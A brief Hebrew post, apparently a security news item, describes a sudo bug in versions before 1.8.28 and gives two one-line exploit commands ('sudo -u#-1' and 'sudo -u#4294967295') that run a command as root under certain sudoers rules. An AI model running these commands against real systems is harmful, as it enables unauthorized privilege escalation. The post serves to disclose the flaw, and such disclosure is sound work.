פגיעות בסודו

באג ב-sudo מאפשר לך להפעיל כל קובץ הפעלה כ-root אם /etc/sudoers מאפשר להפעיל אותו על ידי משתמשים אחרים והוא אסור ל-root.

ניצול השגיאה הוא פשוט מאוד:

sudo -u#-1 id -u

אוֹ:

sudo -u#4294967295 id -u

השגיאה קיימת בכל הגירסאות של sudo לפני 1.8.28

פרטים:

כדי לפרסם תגובה שאתה צריך התחברות.